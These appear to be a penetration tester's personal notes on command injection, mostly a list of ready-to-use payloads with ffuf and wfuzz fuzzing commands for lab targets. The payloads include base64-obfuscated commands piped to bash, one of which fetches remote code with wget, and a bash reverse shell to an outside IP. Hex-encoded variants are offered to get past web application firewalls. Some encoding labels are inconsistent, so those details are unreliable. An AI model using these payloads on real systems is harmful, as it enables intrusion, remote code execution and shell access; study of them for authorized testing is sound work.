Command Injection
OS and JSON command injection — detecting the injectable parameter and escalating to a shell.
Command Injection
Command injection
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#chaining-commands https://github.com/payloadbox/command-injection-payload-list https://youtu.be/nrvLJn7B5iI?t=326
Automated tool: https://github.com/commixproject/commix
++Essentially everytime you see a place that has a paramater, accepts user input, or has a functionality that seems like its running some sort of OS commands, then attempt command injection on it.++
Common places to find:
- Web application forms (e.g. login forms, search forms)
- Query parameters in URLs
- HTTP headers (e.g. User-Agent, Referer)
- Cookies
- File upload forms
- Any other location where user input is passed to the system shell or interpreter
In case of blind command injection example:
productId=1 & ping -c 4 10.13.31.108 #&storeId=1 (and on our kali we can see icmp traffic, so confirm we have command injection) tcpdump -i tun0 icmp
Paramater fuzzing: ffuf -u ‘https://10.10.42.12/chat/blankpage.php?FUZZ=id’ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
Injection fuzzing:
ffuf -u '<https://10.10.42.12/chat/blankpage.php?cmd=FUZZ>' -w /usr/share/seclists/Fuzzing/command-injection-commix.txt
Authenticated post request Injection fuzzing:
wfuzz -w command_injection.txt -c -u '<http://127.0.0.1/DVWA/vulnerabilities/exec/#'> -d 'ip=FUZZ&Submit=Submit' -L -b "PHPSESSID=st2hjp4hddi9ob16untqj62s65; security=low"
ffuf -u '<http://10.10.185.73/assets/php/search.php'> -w c2 -H 'Authorization: Basic cmFzY2FsOmR1c3R5MQ==' -d '{"target":"FUZZ"}' -X POST -x <http://127.0.0.1:8080>
custom list
;whoami;
;echo cGluZyAtYzIgMTAuMTMuNC4y|base64 -d|bash;
\";echo cGluZyAtYzIgMTAuMTMuNC4y|base64 -d|bash; \"
\";echo YHNsZWVwIDEwYAo=|base64 -d|bash; \"
\";echo c2xlZXAgMTAK|base64 -d|bash; \"
\";echo c2xlZXAgMTAK|base64 -d|bash; \"
;system('ping%20-c1%2010.13.4.2')
;system('ping -c1 10.13.4.2')
&&sleep 4|
|sleep 10
;sleep 10;
&&sleep 10;
&&sleep 10#
;sleep 10#
\";sleep 20; \"
echo d2dldCBodHRwOi8vMTAuMTMuNC4yL3RlZWhlZQo | base64 -d |bash|
"\;echo d2dldCBodHRwOi8vMTAuMTMuNC4yL3RlZWhlZQo | base64 -d |bash; \"
examples
POST /submit HTTP/1.1
Host: example.com
Content-Type: application/json
{
"field1": "value1",
"field2": "uname -a\x3b\x70\x69\x6e\x67\x20\x2d\x63\x20\x32\x20\x31\x30\x2e\x31\x33\x2e\x33\x31\x2e\x34\x32\x3b",
"field3": "value3"
}
=========
POST /example/json
HTTP/1.1 Host: example.com
Content-Type: application/json
{ "param1": "value1", "param2": "value2", "param3": "3b70696e67202d63322031302e31332e33312e34323b" }
=========
You can use Burp Suite to send a request with a payload of ";ping -c 2 10.13.31.42;", encoded in hexadecimal, to test for a command injection vulnerability. Here is an example request and payload:
POST /example/json HTTP/1.1 Host: example.com Content-Type: application/json
{ "param1": "value1", "param2": "value2", "param3": "5c3b70696e67202d63322031302e31332e33312e34323b" }
The payload, "5c3b70696e67202d63322031302e31332e33312e34323b" is the hexadecimal representation of ";ping -c 2 10.13.31.42;". Escaping the payload can be useful in this context if the application is using a web application firewall (WAF) that is configured to block requests containing special characters. By escaping the payload, the request might be able to bypass the WAF and the command injection vulnerability might be exploitable
======
POST /example/json HTTP/1.1
Host: example.com
Content-Type: application/json
{
"param1": "value1",
"param2": "value2",
"param3": "\"3b70696e67202d63322031302e31332e33312e34323b\""
}
======
Thoughts on this payload? Json post request to get command injeciton. Hex to potentially get around waf. Would it be good, or is there something wrong or even inefficient in it?
POST /example/json HTTP/1.1
Host: uwu.com
Content-Type: application/json
{
"target":"\";echo cGluZyAtYzIgMTAuMTMuNC4y | base64 -d | bash; \""
}
==========
Thoughts on this payload? Json post request to get command injeciton. Hexadecimal to potentially get around waf. Would it be good, or is there something wrong or even inefficient in it?
POST /example/json HTTP/1.1
Host: uwu.com
Content-Type: application/json
{
"target": "\";bash -c bash -i >& /dev/tcp/10.13.31.42/443 0>&1; \""
}
==
Thoughts on this payload? Json post request to get command injeciton. Hexadecimal to potentially get around waf. Would it be good, or is there something wrong or even inefficient in it?
POST /example/json HTTP/1.1
Host: uwu.com
Content-Type: application/json
{
"target":"\"0x3b0x620x610x730x680x200x2d0x630x200x620x610x730x680x200x2d0x690x200x3e0x260x200x2f0x640x650x760x2f0x740x630x700x2f0x310x300x2e0x310x330x2e0x330x310x2e0x340x320x2f0x340x340x330x200x300x3e0x260x310x3b \""
}
JSON Command Injection
{
"target":"\";echo cGluZyAtYzIgMTAuMTMuNC4y | base64 -d | bash; \""
}
